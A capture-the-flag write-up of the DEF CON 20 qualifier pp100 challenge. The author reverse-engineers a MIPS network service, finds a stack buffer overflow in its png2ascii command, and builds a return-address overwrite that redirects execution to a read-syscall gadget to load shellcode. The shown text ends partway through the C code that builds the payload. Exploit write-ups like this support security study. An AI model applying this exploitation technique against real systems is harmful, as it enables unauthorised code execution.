DC20 CTF pp100 Writeup
By Brandon 'falk' Falk | Competing for Sapheads

pp100 was the first pwnable challenge in the Defcon 20 qualifications. Pwnables are challenges that usually involve the player being given a binary server which is then run remotely for the player to exploit. In this case, the goal is to drop shellcode to dump contents of the `key` file.

Analysis

I guess I'll start with throwing this binary at IDA, surely it will do all of the work for me, right?

Uh oh, what is this? A MIPS binary? I've never seen one of these in my life. Hmm, this should be pretty interesting! I have no idea where I should start... I'll connect to the server and see what it does.

IRIX (quals.ddtek.biz)
login: ^D
IRIX Release 6.5 IP32 ddtek
Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz

dd 0%

Ok, so I got some sort of a prompt here, stating it's a IRIX machine with a bogus last login date. I'll try to get some sort of a command, I'll see if `help` works.

dd 0% help
Available commands:
qotd
ls
png2ascii
help
exit
quit
dd 1%

Alright, it looks like I have a few programs I can call here. `exit` and `quit` both end my session with the server, so I think those are out of the picture. I've already played with the `help` command, so I also know that that is out of the picture as well. Hmm... I'm familiar with `ls`, I'll see if it's what I'd expect.

dd 1% ls
 ..
 key
 .
dd 2%

Alright, that's normal. I wonder if 'key' is the password for the challenge, surely it's only a 100 challenge, it can't be that hard.

Well, I guess that wasn't the case. I guess I probably have to dump out that file somehow. I'll look at `qotd` and `png2ascii`.

dd 2% qotd
#christian
-Word_of_God- Welcome Abstruse to
dd 3% qotd
#214810 +(8993)- [X]
<Fulgore> whats the complement to a 43 degree angle?
<sparks> My you're looking "acute" today
<Fulgore> fuck you
dd 4% png2ascii
Copy and paste your PNG file and I will convert it to ASCII
input?


              O         O
              |         |
        ***    \       /   ***
       *   **   \     /  **   *            I WONDER IF
     ** ooooo ** \   / ** ooooo **         TIMECOP WIPES
   ** oooooooooo *\ /* oooooooooo **       FRONT TO
  ** ooooooooooo *[ ]* ooooooooooo **      BACK
 ** oooooooooooo *[ ]* oooooooooooo **
** 0000000000000 *[ ]* 0000000000000 **
** ============= *[ ]* ============= **
 ** 000000000000 *[ ]* 000000000000 **
   *** ooooooooo *[ ]* ooooooooo ***
      ********** *[ ]* **********
          ** ooo   *   ooo **
       ** ooooo *     * ooooo **
     ** oooooo *       * oooooo **
  ** 00000000 **       ** 00000000 **
** ========= **         ** ========= **
 ** 0000000 **           ** 0000000 **
   ** oooo **             ** oooo **
     ** oo *               * oo **
       ***                   ***
        *                     *

dd 5%

Ok. It seems that `qotd` gives me a random quote from what seems to be IRC logs. `png2ascii` seems to give me an ascii image based on what I entered in the prompt. I get the same image for the same string, but different images for different input strings.

Alright, I'll see if `cat` works, maybe it's just not showing it in `help` to fool me.

dd 5% cat key
Not Implemented
dd 6%

Bummer, no trickery there. Looks like I have to get some of the own code running on the server to dump out this file.

Alright, I have the binary, and I know some information about the program, I should be able to search the binary for some of these strings, and find xrefs and find the code that invokes it.

.rodata:0046D600 aIrix: .ascii "irix"<0> # DATA XREF: sub_4005CC+88o .rodata:0046D605 .align 2 .rodata:0046D608 aHomeIrix: .ascii "/home/irix"<0> # DATA XREF: sub_4005CC+9Co .rodata:0046D613 .align 4 .rodata:0046D620 aIrixQuals_ddte:.ascii "\n" # DATA XREF: sub_401200+38o .rodata:0046D620 .ascii "IRIX (quals.ddtek.biz)\n" .rodata:0046D620 .ascii "login: ^D\n" .rodata:0046D620 .ascii "IRIX Release 6.5 IP32 ddtek\n" .rodata:0046D620 .ascii "Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved" .rodata:0046D620 .ascii ".\n" .rodata:0046D620 .ascii "Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddt" .rodata:0046D620 .ascii "ek.biz\n" .rodata:0046D620 .ascii "\n"<0> .rodata:0046D6E3 .align 2 .rodata:0046D6E4 aDdD: .ascii "dd %d%% "<0> # DATA XREF: sub_401200+60o .rodata:0046D6ED .align

Alright, I got the strings, and some references! I see the header shown when connected, and also aDdD certainly looks like the command line format parameter. I'll check out where aDaD is refernced.

>.text:00401200 .text:00401200 # =============== S U B R O U T I N E ======================================= .text:00401200 .text:00401200 .text:00401200 sub_401200: # DATA XREF: sub_4005CC+D8o .text:00401200 # .got:100091E4o .text:00401200 .text:00401200 var_120 = -0x120 .text:00401200 var_118 = -0x118 .text:00401200 var_18 = -0x18 .text:00401200 var_14 = -0x14 .text:00401200 var_10 = -0x10 .text:00401200 var_C = -0xC .text:00401200 var_8 = -8 .text:00401200 var_4 = -4 .text:00401200 arg_0 = 0 .text:00401200 .text:00401200 li $gp, 0xFC0F870 .text:00401208 addu $gp, $t9 .text:0040120C addiu $sp, -0x130 .text:00401210 sw $ra, 0x130+var_4($sp) .text:00401214 sw $fp, 0x130+var_8($sp) .text:00401218 move $fp, $sp .text:0040121C sw $gp, 0x130+var_120($sp) .text:00401220 sw $a0, 0x130+arg_0($fp) .text:00401224 sw $zero, 0x130+var_18($fp) .text:00401228 sw $zero, 0x130+var_14($fp) .text:0040122C lw $a0, 0x130+arg_0($fp) .text:00401230 lw $a1, -0x7FDC($gp) .text:00401234 nop .text:00401238 addiu $a1, (aIrixQuals_ddte - 0x470000) # "\nIRIX (quals.ddtek.biz)\nlogin: ^D\nIRIX "... .text:0040123C move $a2, $zero .text:00401240 lw $t9, -0x7D80($gp) .text:00401244 nop .text:00401248 jalr $t9 ; send_string .text:0040124C nop .text:00401250 lw $gp, 0x130+var_120($fp) .text:00401254 .text:00401254 loc_401254: # CODE XREF: sub_401200+F8j .text:00401254 lw $a0, 0x130+arg_0($fp) .text:00401258 lw $a1, -0x7FDC($gp) .text:0040125C nop .text:00401260 addiu $a1, (aDdD - 0x470000) # "dd %d%% " .text:00401264 lw $a2, 0x130+var_18($fp) .text:00401268 lw $t9, -0x78C4($gp) .text:0040126C nop .text:00401270 jalr $t9 ; format_send .text:00401274 nop .text:00401278 lw $gp, 0x130+var_120($fp) .text:0040127C lw $a0, 0x130+arg_0($fp) .text:00401280 addiu $a1, $fp, 0x130+var_118 .text:00401284 li $a2, 0x100 .text:00401288 li $a3, 0xA .text:0040128C lw $t9, -0x7D14($gp) .text:00401290 nop .text:00401294 jalr $t9 ; recv .text:00401298 nop .text:0040129C lw $gp, 0x130+var_120($fp) .text:004012A0 sw $v0, 0x130+var_10($fp) .text:004012A4 lw $v1, 0x130+var_10($fp) .text:004012A8 addiu $v0, $fp, 0x130+var_118 .text:004012AC addu $v0, $v1 .text:004012B0 sb $zero, 0($v0) .text:004012B4 lw $a0, 0x130+arg_0($fp) .text:004012B8 addiu $a1, $fp, 0x130+var_118 .text:004012BC lw $t9, -0x7660($gp) .text:004012C0 nop .text:004012C4 jalr $t9 ; process_command_and_respond .text:004012C8 nop .text:004012CC lw $gp, 0x130+var_120($fp) .text:004012D0 sw $v0, 0x130+var_14($fp) .text:004012D4 lw $v0, 0x130+var_14($fp) .text:004012D8 nop .text:004012DC bgez $v0, loc_4012EC .text:004012E0 nop .text:004012E4 b loc_401300 .text:004012E8 sw $zero, 0x130+var_C($fp) .text:004012EC # --------------------------------------------------------------------------- .text:004012EC .text:004012EC loc_4012EC: # CODE XREF: sub_401200+DCj .text:004012EC lw $v0, 0x130+var_18($fp) .text:004012F0 nop .text:004012F4 addiu $v0, 1 .text:004012F8 b loc_401254 .text:004012FC sw $v0, 0x130+var_18($fp) .text:00401300 # --------------------------------------------------------------------------- .text:00401300 .text:00401300 loc_401300: # CODE XREF: sub_401200+E4j .text:00401300 lw $v0, 0x130+var_C($fp) .text:00401304 move $sp, $fp .text:00401308 lw $ra, 0x130+var_4($sp) .text:0040130C lw $fp, 0x130+var_8($sp) .text:00401310 jr $ra .text:00401314 addiu $sp, 0x130 .text:00401314 # End of function sub_401200

Alright, time to learn some MIPS assembler. After a couple minutes of Wikipedia, I know that 'lw' loads a word (which is 4-byte on MIPS, unline x86) into the operand on the left. 'la' loads an address, similar to an 'lea' operation on x86. 'jalr' is comparable to a 'call', and 'sw' and 'sb' are store word and store byte, which move data from the register into the memory location.

Registers are used as such: $v0-$v1 for returns, $a0-$a3 for function arguments, $fp is the frame pointer, $sp is the staqck pointer, $ra is the return address, and $gp is a global pointer.

As far as the syntax of memory addressing, '0x130+var_18($fp)' is referncing the memory at '$fp + var_18 + 0x130', which in x86 assembler would look like '[$fp + var_18 + 0x130]'

Ok... I seem to have enough of an understanding of MIPS that I should be able to figure out what this code does. Hmm... shortly after loc_401254 I see the format string for the prompt being referenced... a ha! This seems to be the main loop!

So somewhere in between loc_401254 and loc_4012EC I do all of the command processing. Hmm, it seems that $t9 is being called at 0x401270... this takes in an integer, a format string, and another integer. Aha! This must be some sort of a formatting send function. It seems the first parameter is the socket, the second parameter is the format string, and the third must be the counter that increments every time I enter a command. I'll call this function 'format_send'.

The next call at 0x401294 takes in the socket, a buffer on the stack, some integer, and another integer. Hmm, this looks an aweful lot like a recv(). 0x100 happens to be an unknown integer, but it's the size of the buffer, so that makes sense for a recv(). I'll see what that flag is. Interesting, it's a MSG_TRUNG. Well that makes a lot of sense, that would be an exploit of itself. At this point I'm pretty confident that this function is a recv() function, I'll rename it!

Now it seems that I null terminate the read buffer from the socket. I directly add the return value from recv to the buffer location, and store zero into it. Wait a minute... the buffer is 0x100 bytes, and the recv() calls for 0x100 bytes. This means I could have the program write a null in the next variable on the stack, which I have identified as being the counter variable used in the format_send. Could this be the exploit? I'll enter in a string that's exactly 0x100 (256) bytes in length.

dd 6% dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddd
Not Implemented
dd 1%

A ha! I was correct, it overwrote one of the bytes of the counter with a zero, reset the counter, and then incremented it when it went through the loop. So I got a 1 back. Ok... is there anything I can really do with this? Nah. I'm just resetting the counter, and only one byte of it (as it's a 4-byte word). The maximum overflow is one byte, and that byte is always zero. Useless. At least I'm understanding MIPS so far. I'll move on...

Alright, there's one last call made in this function at 0x4012C4. This must be the processing function. It seems to take in the socket in $a0, and the address of the recv() buffer in $a1.

.text:00401550 .text:00401554 .text:00401554 # =============== S U B R O U T I N E ======================================= .text:00401554 .text:00401554 .text:00401554 process_command_and_respond: # CODE XREF: sub_401200+C4p .text:00401554 # DATA XREF: sub_401200+BCo ... .text:00401554 .text:00401554 var_20 = -0x20 .text:00401554 var_18 = -0x18 .text:00401554 var_14 = -0x14 .text:00401554 var_10 = -0x10 .text:00401554 var_8 = -8 .text:00401554 var_4 = -4 .text:00401554 arg_0 = 0 .text:00401554 arg_4 = 4 .text:00401554 .text:00401554 li $gp, 0xFC0F51C .text:0040155C addu $gp, $t9 .text:00401560 addiu $sp, -0x30 .text:00401564 sw $ra, 0x30+var_4($sp) .text:00401568 sw $fp, 0x30+var_8($sp) .text:0040156C move $fp, $sp .text:00401570 sw $gp, 0x30+var_20($sp) .text:00401574 sw $a0, 0x30+arg_0($fp) .text:00401578 sw $a1, 0x30+arg_4($fp) .text:0040157C sw $zero, 0x30+var_18($fp) .text:00401580 sw $zero, 0x30+var_14($fp) .text:00401584 lw $a0, 0x30+arg_4($fp) .text:00401588 lw $t9, -0x7C54($gp) .text:0040158C nop .text:00401590 jalr $t9 ; sub_401320 .text:00401594 nop .text:00401598 lw $gp, 0x30+var_20($fp) .text:0040159C sw $v0, 0x30+arg_4($fp) .text:004015A0 addiu $v0, $fp, 0x30+var_14 .text:004015A4 lw $a0, 0x30+arg_4($fp) .text:004015A8 addiu $a1, $fp, 0x30+var_18 .text:004015AC move $a2, $v0 .text:004015B0 lw $t9, -0x75AC($gp) .text:004015B4 nop .text:004015B8 jalr $t9 ; sub_4014A4 .text:004015BC nop .text:004015C0 lw $gp, 0x30+var_20($fp) .text:004015C4 lw $v0, 0x30+var_14($fp) .text:004015C8 nop .text:004015CC bnez $v0, loc_4015E8 .text:004015D0 nop .text:004015D4 lw $v0, -0x7FD8($gp) # "========.'.-'===-' "... .text:004015D8 nop .text:004015DC addiu $v0, (unk_9917F8 - 0x990000) .text:004015E0 nop .text:004015E4 sw $v0, 0x30+var_14($fp) .text:004015E8 .text:004015E8 loc_4015E8: # CODE XREF: process_command_and_respond+78j .text:004015E8 lw $a0, 0x30+var_18($fp) .text:004015EC lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:004015F0 nop .text:004015F4 addiu $a1, (aQotd - 0x990000) # "qotd" .text:004015F8 lw $t9, -0x7C6C($gp) .text:004015FC nop .text:00401600 jalr $t9 ; memcmp .text:00401604 nop .text:00401608 lw $gp, 0x30+var_20($fp) .text:0040160C bnez $v0, loc_401638 .text:00401610 nop .text:00401614 lw $a0, 0x30+arg_0($fp) .text:00401618 lw $a1, 0x30+var_14($fp) .text:0040161C lw $t9, -0x7CD8($gp) .text:00401620 nop .text:00401624 jalr $t9 ; qotd .text:00401628 nop .text:0040162C lw $gp, 0x30+var_20($fp) .text:00401630 b loc_4017B4 .text:00401634 nop .text:00401638 # --------------------------------------------------------------------------- .text:00401638 .text:00401638 loc_401638: # CODE XREF: process_command_and_respond+B8j .text:00401638 lw $a0, 0x30+var_18($fp) .text:0040163C lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:00401640 nop .text:00401644 addiu $a1, (aLs - 0x990000) # "ls" .text:00401648 lw $t9, -0x7C6C($gp) .text:0040164C nop .text:00401650 jalr $t9 ; memcmp .text:00401654 nop .text:00401658 lw $gp, 0x30+var_20($fp) .text:0040165C bnez $v0, loc_401688 .text:00401660 nop .text:00401664 lw $a0, 0x30+arg_0($fp) .text:00401668 lw $a1, 0x30+var_14($fp) .text:0040166C lw $t9, -0x7500($gp) .text:00401670 nop .text:00401674 jalr $t9 ; ls .text:00401678 nop .text:0040167C lw $gp, 0x30+var_20($fp) .text:00401680 b loc_4017B4 .text:00401684 nop .text:00401688 # --------------------------------------------------------------------------- .text:00401688 .text:00401688 loc_401688: # CODE XREF: process_command_and_respond+108j .text:00401688 lw $a0, 0x30+var_18($fp) .text:0040168C lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:00401690 nop .text:00401694 addiu $a1, (aPng2ascii - 0x990000) # "png2ascii" .text:00401698 lw $t9, -0x7C6C($gp) .text:0040169C nop .text:004016A0 jalr $t9 ; memcmp .text:004016A4 nop .text:004016A8 lw $gp, 0x30+var_20($fp) .text:004016AC bnez $v0, loc_4016D8 .text:004016B0 nop .text:004016B4 lw $a0, 0x30+arg_0($fp) .text:004016B8 lw $a1, 0x30+var_14($fp) .text:004016BC lw $t9, -0x7900($gp) .text:004016C0 nop .text:004016C4 jalr $t9 ; png2ascii .text:004016C8 nop .text:004016CC lw $gp, 0x30+var_20($fp) .text:004016D0 b loc_4017B4 .text:004016D4 nop .text:004016D8 # --------------------------------------------------------------------------- .text:004016D8 .text:004016D8 loc_4016D8: # CODE XREF: process_command_and_respond+158j .text:004016D8 lw $a0, 0x30+var_18($fp) .text:004016DC lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:004016E0 nop .text:004016E4 addiu $a1, (aHelp - 0x990000) # "help" .text:004016E8 lw $t9, -0x7C6C($gp) .text:004016EC nop .text:004016F0 jalr $t9 ; memcmp .text:004016F4 nop .text:004016F8 lw $gp, 0x30+var_20($fp) .text:004016FC bnez $v0, loc_401728 .text:00401700 nop .text:00401704 lw $a0, 0x30+arg_0($fp) .text:00401708 lw $a1, 0x30+var_14($fp) .text:0040170C lw $t9, -0x7E24($gp) .text:00401710 nop .text:00401714 jalr $t9 ; help .text:00401718 nop .text:0040171C lw $gp, 0x30+var_20($fp) .text:00401720 b loc_4017B4 .text:00401724 nop .text:00401728 # --------------------------------------------------------------------------- .text:00401728 .text:00401728 loc_401728: # CODE XREF: process_command_and_respond+1A8j .text:00401728 lw $a0, 0x30+var_18($fp) .text:0040172C lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:00401730 nop .text:00401734 addiu $a1, (aExit - 0x990000) # "exit" .text:00401738 lw $t9, -0x7C6C($gp) .text:0040173C nop .text:00401740 jalr $t9 ; memcmp .text:00401744 nop .text:00401748 lw $gp, 0x30+var_20($fp) .text:0040174C beqz $v0, loc_401780 .text:00401750 nop .text:00401754 lw $a0, 0x30+var_18($fp) .text:00401758 lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:0040175C nop .text:00401760 addiu $a1, (aQuit - 0x990000) # "quit" .text:00401764 lw $t9, -0x7C6C($gp) .text:00401768 nop .text:0040176C jalr $t9 ; memcmp .text:00401770 nop .text:00401774 lw $gp, 0x30+var_20($fp) .text:00401778 bnez $v0, loc_40178C .text:0040177C nop .text:00401780 .text:00401780 loc_401780: # CODE XREF: process_command_and_respond+1F8j .text:00401780 li $v0, 0xFFFFFFFF .text:00401784 b loc_4017B8 .text:00401788 sw $v0, 0x30+var_10($fp) .text:0040178C # --------------------------------------------------------------------------- .text:0040178C .text:0040178C loc_40178C: # CODE XREF: process_command_and_respond+224j .text:0040178C lw $a0, 0x30+arg_0($fp) .text:00401790 lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:00401794 nop .text:00401798 addiu $a1, (aNotImplemented - 0x990000) # "Not Implemented\n" .text:0040179C move $a2, $zero .text:004017A0 lw $t9, -0x7D80($gp) .text:004017A4 nop .text:004017A8 jalr $t9 ; send_string .text:004017AC nop .text:004017B0 lw $gp, 0x30+var_20($fp) .text:004017B4 .text:004017B4 loc_4017B4: # CODE XREF: process_command_and_respond+DCj .text:004017B4 # process_command_and_respond+12Cj ... .text:004017B4 sw $zero, 0x30+var_10($fp) .text:004017B8 .text:004017B8 loc_4017B8: # CODE XREF: process_command_and_respond+230j .text:004017B8 lw $v0, 0x30+var_10($fp) .text:004017BC move $sp, $fp .text:004017C0 lw $ra, 0x30+var_4($sp) .text:004017C4 lw $fp, 0x30+var_8($sp) .text:004017C8 jr $ra .text:004017CC addiu $sp, 0x30 .text:004017CC # End of function process_command_and_respond

Alright, it seems that this function is looking at all the strings of the programs that we've seen in 'help'. All of these are being called into the same function, where $a0 is var_18, and $a1 is the command line program. Hmm, this must be some sort of a memcmp, as this is what determines whether or not it tries the next string. I'll call this function memcmp, and take a step back to see if it all makes more sense.

Alright, this is clearly our dispatcher routine, as it checks the specifed command line against one of the program names, and continues trying names until one is found or not found at all. If one is found, it seems they all execute individual functions. We'll call this function process_command_and_respond as it has to both process the command, and send the command output back to the client

For now, I'll skip right to png2ascii... the only other place in the code where it takes some sort of input. Clearly I have to specify some sort of input to inject shellcode.

.text:00401BC0 .text:00401BC4 .text:00401BC4 # =============== S U B R O U T I N E ======================================= .text:00401BC4 .text:00401BC4 .text:00401BC4 png2ascii: # CODE XREF: process_command_and_respond+170p .text:00401BC4 # DATA XREF: process_command_and_respond+168o ... .text:00401BC4 .text:00401BC4 stacktop = -0x120 .text:00401BC4 i = -0x118 .text:00401BC4 flip = -0x114 .text:00401BC4 ptr = -0x110 .text:00401BC4 crc32 = -0x10C .text:00401BC4 buffer = -0x108 .text:00401BC4 stackframe = -8 .text:00401BC4 retaddr = -4 .text:00401BC4 socket = 0 .text:00401BC4 command = 4 .text:00401BC4 .text:00401BC4 li $gp, 0xFC0EEAC .text:00401BCC addu $gp, $t9 .text:00401BD0 addiu $sp, -0x130 .text:00401BD4 sw $ra, 0x130+retaddr($sp) .text:00401BD8 sw $fp, 0x130+stackframe($sp) .text:00401BDC move $fp, $sp .text:00401BE0 sw $gp, 0x130+stacktop($sp) .text:00401BE4 sw $a0, 0x130+socket($fp) .text:00401BE8 sw $a1, 0x130+command($fp) .text:00401BEC sw $zero, 0x130+i($fp) .text:00401BF0 li $v0, 0xFFFFFFFF .text:00401BF4 sw $v0, 0x130+flip($fp) .text:00401BF8 sw $zero, 0x130+ptr($fp) .text:00401BFC sw $zero, 0x130+crc32($fp) .text:00401C00 lw $a0, 0x130+socket($fp) .text:00401C04 lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:00401C08 nop .text:00401C0C addiu $a1, (aCopyAndPasteYo - 0x990000) # "Copy and paste your PNG file and I will"... .text:00401C10 move $a2, $zero .text:00401C14 lw $t9, -0x7D80($gp) .text:00401C18 nop .text:00401C1C jalr $t9 ; send_string .text:00401C20 nop .text:00401C24 lw $gp, 0x130+stacktop($fp) .text:00401C28 addiu $v0, $fp, 0x130+buffer .text:00401C2C move $a0, $v0 .text:00401C30 move $a1, $zero .text:00401C34 li $a2, 0x100 .text:00401C38 lw $t9, -0x7A70($gp) .text:00401C3C nop .text:00401C40 jalr $t9 ; memset # what is this? .text:00401C44 nop .text:00401C48 lw $gp, 0x130+stacktop($fp) .text:00401C4C addiu $v0, $fp, 0x130+buffer .text:00401C50 lw $a0, 0x130+socket($fp) .text:00401C54 move $a1, $v0 .text:00401C58 li $a2, 0x200 .text:00401C5C li $a3, 0xA .text:00401C60 lw $t9, -0x7D14($gp) .text:00401C64 nop .text:00401C68 jalr $t9 ; recv .text:00401C6C nop .text:00401C70 lw $gp, 0x130+stacktop($fp) .text:00401C74 addiu $v0, $fp, 0x130+buffer .text:00401C78 sw $v0, 0x130+ptr($fp) .text:00401C7C sw $zero, 0x130+i($fp) .text:00401C80 .text:00401C80 loc_401C80: # CODE XREF: png2ascii+108j .text:00401C80 lw $v0, 0x130+i($fp) .text:00401C84 nop .text:00401C88 slti $v0, 0x40 .text:00401C8C beqz $v0, loc_401CD4 .text:00401C90 nop .text:00401C94 lw $v0, 0x130+i($fp) .text:00401C98 nop .text:00401C9C sll $v1, $v0, 2 .text:00401CA0 lw $v0, 0x130+ptr($fp) .text:00401CA4 nop .text:00401CA8 addu $v0, $v1, $v0 .text:00401CAC lw $v1, 0x130+crc32($fp) .text:00401CB0 lw $v0, 0($v0) .text:00401CB4 nop .text:00401CB8 addu $v0, $v1, $v0 .text:00401CBC sw $v0, 0x130+crc32($fp) .text:00401CC0 lw $v0, 0x130+i($fp) .text:00401CC4 nop .text:00401CC8 addiu $v0, 1 .text:00401CCC b loc_401C80 .text:00401CD0 sw $v0, 0x130+i($fp) .text:00401CD4 # --------------------------------------------------------------------------- .text:00401CD4 .text:00401CD4 loc_401CD4: # CODE XREF: png2ascii+C8j .text:00401CD4 lw $v0, 0x130+crc32($fp) .text:00401CD8 nop .text:00401CDC bgez $v0, loc_401CE8 .text:00401CE0 nop .text:00401CE4 negu $v0, $v0 .text:00401CE8 .text:00401CE8 loc_401CE8: # CODE XREF: png2ascii+118j .text:00401CE8 sw $v0, 0x130+crc32($fp) .text:00401CEC lw $a0, 0x130+crc32($fp) .text:00401CF0 li $v0, 0x701F88DF .text:00401CF8 mult $a0, $v0 .text:00401CFC mfhi $v0 .text:00401D00 sra $v1, $v0, 11 .text:00401D04 sra $v0, $a0, 31 .text:00401D08 subu $v1, $v0 .text:00401D0C move $v0, $v1 .text:00401D10 sll $v0, 3 .text:00401D14 addu $v0, $v1 .text:00401D18 sll $v0, 3 .text:00401D1C addu $v0, $v1 .text:00401D20 sll $v0, 4 .text:00401D24 addu $v0, $v1 .text:00401D28 sll $v0, 2 .text:00401D2C subu $v0, $a0, $v0 .text:00401D30 sw $v0, 0x130+flip($fp) .text:00401D34 lw $a0, 0x130+socket($fp) .text:00401D38 lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:00401D3C nop .text:00401D40 addiu $a1, (asc_9918F0 - 0x990000) # "\n\n" .text:00401D44 move $a2, $zero .text:00401D48 lw $t9, -0x7D80($gp) .text:00401D4C nop .text:00401D50 jalr $t9 ; send_string .text:00401D54 nop .text:00401D58 lw $gp, 0x130+stacktop($fp) .text:00401D5C nop .text:00401D60 lw $v1, -0x7DAC($gp) .text:00401D64 lw $v0, 0x130+flip($fp) .text:00401D68 nop .text:00401D6C sll $v0, 2 .text:00401D70 addu $v0, $v1 .text:00401D74 lw $a0, 0x130+socket($fp) .text:00401D78 lw $a1, 0($v0) .text:00401D7C move $a2, $zero .text:00401D80 lw $t9, -0x7D80($gp) .text:00401D84 nop .text:00401D88 jalr $t9 ; send_string .text:00401D8C nop .text:00401D90 lw $gp, 0x130+stacktop($fp) .text:00401D94 lw $a0, 0x130+socket($fp) .text:00401D98 lw $a1, -0x7FD8($gp) # "========.'.-'===-' "... .text:00401D9C nop .text:00401DA0 addiu $a1, (asc_9918F0 - 0x990000) # "\n\n" .text:00401DA4 move $a2, $zero .text:00401DA8 lw $t9, -0x7D80($gp) .text:00401DAC nop .text:00401DB0 jalr $t9 ; send_string .text:00401DB4 nop .text:00401DB8 lw $gp, 0x130+stacktop($fp) .text:00401DBC move $sp, $fp .text:00401DC0 lw $ra, 0x130+retaddr($sp) .text:00401DC4 lw $fp, 0x130+stackframe($sp) .text:00401DC8 jr $ra .text:00401DCC addiu $sp, 0x130 .text:00401DCC # End of function png2ascii

Alright, I've clearly found the right function. This function does a recv like I saw in the command line input. However this time it's requesting 0x200 bytes of data. Wait a minute, it specifies a 0x100 byte buffer! Here it is! I have 0x100 bytes of buffer overflow at my disposal. Ok, since this is the function that will be exploited, I'm going to make sure I understand this code fully by decompiling it to C.

(Some time passes)

void
png2ascii(int socket, char *command)
{
	uint64_t  stacktop;
	uint32_t  i
	uint32_t  flip;
	uint32_t *ptr;
	uint32_t  crc32;
	char      buffer[256];
	uint32_t  stackframe;
	uint32_t  retaddr;
	
	int tmp, tmp2;

	retaddr    = $ra;
	stackframe = $fp;
	stacktop   = $gp;

	i     = 0;
	flip  = 0xFFFFFFFF;
	ptr   = NULL;
	crc32 = 0;

	send_string(socket, aCopyAndPasteYo, 0); /* "Copy and paste your PNG..." */

	memset(buffer, 0, 256);

	recv(socket, buffer, 512, MSG_TRUNC);

	/* Looks like a crc32 */
	ptr = (uint32_t*)buffer;
	for(i = 0; i < 0x40 ; i++)
		crc32 += *ptr;

	if(crc32 < 0)
		crc32 = -crc32;

	tmp  = (((crc32 * 0x701F88DF) >> 32) >> 11) - (crc32 >> 31);
	tmp2 = tmp;

	tmp <<= 3;
	tmp  += tmp2;
	tmp <<= 3;
	tmp  += tmp2;
	tmp <<= 4;
	tmp +=  tmp2;
	tmp <<= 2;

	flip = crc32 - tmp;

	send_string(socket, "\n\n", 0);
	send_string(socket, *(0x100001F8 + (flip << 2)), 0);
	send_string(socket, "\n\n", 0);

	$ra  = retaddr;
	$fp  = stackframe;
	$sp += 0x130;      /* Remove ourselves from the stack */

	return; /* This will jump to $ra */
}

Alright. Now this is making a lot more sense. Now that I see the code in C, I'm able to recognize some parameters as standard functions. Like I see a memset(), sort sort of modified send() which dosen't take in a length. I'll call this send_string().

So the sends the string asking for input, memsets the buffer for 256 bytes, and then reads into the 256 byte buffer for 512 bytes! After this it does some sort of calculation which I presume is a crc32 to calculate the ascii picture to dump out. I don't really care too much about that, all I care about is what I get to do with my 256 bytes of overflow.

.text:00401BC4 buffer = -0x108 .text:00401BC4 stackframe = -8 .text:00401BC4 retaddr = -4 .text:00401BC4 socket = 0 .text:00401BC4 command = 4

Ok, the buffer can potentially overwrite the stack frame, return address, socket, and command argument. Now, I can hop out to anywhere I want by smashing the return address, but I cannot run arbitrary code because I do not know the location of the stack.

I have to find some sort of routine to get more data to an arbitrary address based on a value on the stack. In other words, I need to find a read() or recv() that takes parameters on the stack, so I can specify a static location to load the shellcode at.

Hmm, I also have to smash the frame pointer, and I cannot restore it. I must find a location that takes parameters off the stack based on $sp and not $fp and then calls a read() or recv() operation. Now it's time for an adventure. I tried the recv() function, but that's frame based... what else? Hmm, let's look deeper into recv() to see what it calls. A ha, it does a syscall for read()!

.text:0040F968 lw $gp, 0x30+var_10($sp) .text:0040F96C sw $v0, 0x30+var_4($sp) .text:0040F970 lw $a0, 0x30+var_30($sp) .text:0040F974 lw $a1, 0x30+var_2C($sp) .text:0040F978 lw $a2, 0x30+var_28($sp) .text:0040F97C li $v0, 0xFA3 .text:0040F980 syscall 0 .text:0040F984 sw $v0, 0x30+var_C($sp) .text:0040F988 sw $a3, 0x30+var_8($sp) .text:0040F98C lw $a0, 0x30+var_4($sp) .text:0040F990 lw $t9, -0x7CCC($gp) .text:0040F994 nop .text:0040F998 jalr $t9 ; sub_4115FC .text:0040F99C nop

Hmm, this takes all the parameters off the stack using $sp, which is what we need. But now how can I execute the newly loaded shellcode? Wait a minute... shortly after a syscall a call is made on '-0x7CCC($gp)'. But that depends on $gp... wait! There it is! Right before the loading the syscall arguments $gp is set with a value based on the stack! All I have to do is make $gp-0x7CCC equal the location of our shellcode, and prepend the shellcode with the location of the shellcode + 4! This means that when the call is tried, it will get the first 4 bytes of our shellcode and jump to that location. Which would be 4 bytes after that!!!

So I want to set the $ra to 0x0040F968, and then specify my parameters, and also the argument that is used to set $gp. I need to fill the buffer, set a garbage stack pointer, put the return address to 0x40F968 for the syscall, specify the socket, buffer, and size, then specify garbage until var_10 is reached for the value put into $gp. The value put into $gp should be 0x10000000 + 0x7CCC so when 0x7CCC is taken off, I just get 0x10000000 which is where the shellcode will be read, and that location will hold the location to jump to (0x10000004)

	memset(payload, 'a', 256);                /* fill buffer     */
	*(uint32_t*)(payload + 256) = 0xdeadbeef; /* stack pointer   */
	*(uint32_t*)(payload + 260) = 0x0040F968; /* return address  */
	*(uint32_t*)(payload + 264) = 0x00000006; /* var_30 (socket) */
	*(uint32_t*)(payload + 268) = 0x10000000; /* var_2C (buffer) */
	*(uint32_t*)(payload + 272) = 0x00000200; /* var_28 (size)   */
	*(uint32_t*)(payload + 276) = 0xdeadbeef; /* var_24          */
	*(uint32_t*)(payload + 280) = 0xdeadbeef; /* var_20          */
	*(uint32_t*)(payload + 284) = 0xdeadbeef; /* var_1C          */
